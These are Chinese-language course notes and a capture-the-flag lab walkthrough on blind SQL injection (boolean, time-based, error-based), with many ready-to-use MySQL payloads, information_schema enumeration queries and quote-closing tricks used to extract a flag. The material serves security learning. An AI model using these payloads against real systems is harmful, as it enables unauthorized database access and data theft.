这节课其实是很简单的,整个过程会很费时间,我下面可能只会写大概过程,而且一般都是判断存在sql注入,我们就用sqlmap了。我之前手写过一份很全的笔记,等回学校上传
演示案例:
➢ WEB攻防-SQL注入-布尔&延时&报错&盲注
在不能使用union联合注入的时候我们就考虑盲注,分为时间、布尔、报错注入,时间盲注是万能注入(前提是没waf和过滤sleep的前提下)。这些报错都是通过一些主要函数和辅助函数来实现注入的,
#增删改查
1、功能:数据查询
查询:SELECT*FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERTINTO news (字段名)VALUES(数据)
3、功能:删除用户,删除新闻等
删除:DELETEFROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id
#布尔&报错&延迟
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断
ascii,left,ord,mid这些就是可能用到的函数
思路就是我们通过判断来先猜长度,然后猜名字(库、表、字段)
用select举例:select * from 表 where 字段=’-1’ and length(database())=x #判断数据库名长度
然后通过substr或者ord等函数来判断名字是什么,表字段也是一样
and length(database())=7;
andleft(database(),1)=’p’;
andleft(database(),2)=’pi’;
and substr(database(),1,1)=’p’;
and substr(database(),2,1)=’i’;
and ord(left(database(),1))=112;
2、基于时间的SQL盲注-延时判断
if判断就是和编程语言一个含义
sleep(a,b,c),a为条件,a成功返回b,反之返回c
这个也是一样只是这个是通过响应时间来判断的
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
3、基于报错的SQL盲注-报错回显
floor(已过时,高版本mysql限制)
updatexml(xml文档, xpath路径, 替换后的新内容)
extractvalue(xml文档,xpath路径)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
extractvalue(1,concat(0x7e,(select database()),0x7e))
主要是第二个参数内容不合法导致的报错,报错的同时就把中间的内容执行了,所以写我们想查询相关信息的sql语句
参考:
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid=substr=substring #mid(a,b,c)#从位置b开始,截取a字符串的c位
left(database(),1),database()当前数据库 #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
参考:
https://www.jianshu.com/p/bc35f8dd4f7c
https://www.cnblogs.com/impulse-/p/14227189.html
#使用条件
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有真假判断标准,比如返回页面不同,数据包长度等
and length(database())=6
基于报错:页面能返回报错信息
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
这里是我之前学sql注入打布尔盲注的笔记
布尔盲注一:
什么是布尔盲注:
当目标往回走哪满足一下情况是,就会用到布尔盲注
1、执行查询后,页面不直接显示查询结果(没有回显位)
2、但会根据SQL语句的真假,返回两种不同状态:
条件为真——>页面正常显示(比如返回”查询成功”)
条件为假——>页面异常/显示错误/返回空结果
布尔盲注的核心,就是用mysql函数把数据拆成单个字符,在通过条件判断猜解
常用mysql函数
length(str)返回字符串的长度
substr/substring/mid(str,pos,len)从字符串指定位置截取指定长度的子串,从1开始。
ascii(str)返回字符串第一个字符的ascii码
1、使用 1 and length(database())=17结果正确可以知道数据库长度为17,使用bp会节省时间
2、使用1 and substr(database(),1,1)=’s’ 使用字典爆破,替换1和s,爆破模式一定要选cluster bomb(笛卡尔积爆破),得到数据库名sql_injection_lab,这里犯了一个错,数据库名是不区分大小写的,我在字典中把字母大写小写全加进去了。
3、判断表中内容是否存在,爆破表名、列名
1 and(select count(*) from information_schema.tables where table_schema=’sql_injection_lab’ and table_name=’flag’)=1
count(*)是mysql 中的聚合函数,作用是统计行数
结果是存在这个表
1 and(select count(*) from information_schema.columns where table_schema=’sql_injection_lab’ and table_name=’flag’ and column_name=’flag’)=1
结果是存在这个字段
4、用bp来判断flag多长
1 and length((select flag from sql_injection_lab.flag limit 1))=1
必须两个括号,要不然不会执行里面的语句
limit 1 避免返回多行数据报错,强制返回第一条数据
1 and substr((select flag from sql_injection_lab.flag limit 1),1,1 ))=’f’
5、爆破flag,还是使用bp1 and substr((select flag from sql_injection_lab.flag limit 1),1,1 )=’f’替换f和1
flag{dab67f7239}
布尔盲注二:
这里有个坑:
我们输入1显示正常,输入1 and 1=1显示正常,输入1 and 1=2还显示正常,这就很不正常了,说明我们后面的and ….根本就没被执行,为什么会出现这种情况呢,大概率是id传入的值被引号包裹了,数字执行还是数字,但是跟了and…就被识别成字符串了,mysql的特殊规则是,字符串和数字比较时,会把字符串转成数字,转换规则是:从字符串开头开始,一直读到给数字字符为止,后面的内容全部被丢弃
1、输入1为true,1’为false,1’ and 1=1#为false,1’ and 1=1–为false,就可以看出注释符不生效,所以我们需要手动闭合,输入1’’发现为true,这里为什么为true呢,因为 id=’1’’’,第一个’是开始,后面连续两个’转义为一个’文本,第四个‘为结束。只有在字符串内部的两个单引号才会被转义
空字符串’’等价于false,所以向要1 and 1=2为false,就得1’ and 1=2 or ‘这样写
1’ and length(database())=1 or ‘结合bp来判断数据库名长度为17
2、用bp intruder模块暴力破解数据库名字
把数据库名拼接一下:sql_injection_lab
3、我猜测这个数据库下肯定有一个flag表,判断:
1’ and (select count(*) from information_schema.tables where table_schema = ‘sql_injection_lab’ and table_name=’flag’)=1 or ‘
4、我猜测flag表里面肯定有一个flag字段:判断
1’ and (select count(*) from information_schema.columns where column_name=’flag’ and table_name=’flag’)=1 or ‘成功
1’ and (select count(*) from information_schema.columns where column_name=’flag’)=1 or ‘失败,这个含义是这个数据库中所有表中的flag字段,他可能不止一个flag
5、判断flag表中flag字段值的长度
1’ and length((select flag from sql_injection_lab.flag limit 1))=1 or’
结果是38
6、爆破flag
1’ and substr((select flag from sql_injection_lab.flag limit 1),1,1)=’f’ or ‘
flag{24dd1d4e93f841daae53cf4ad34d7562}

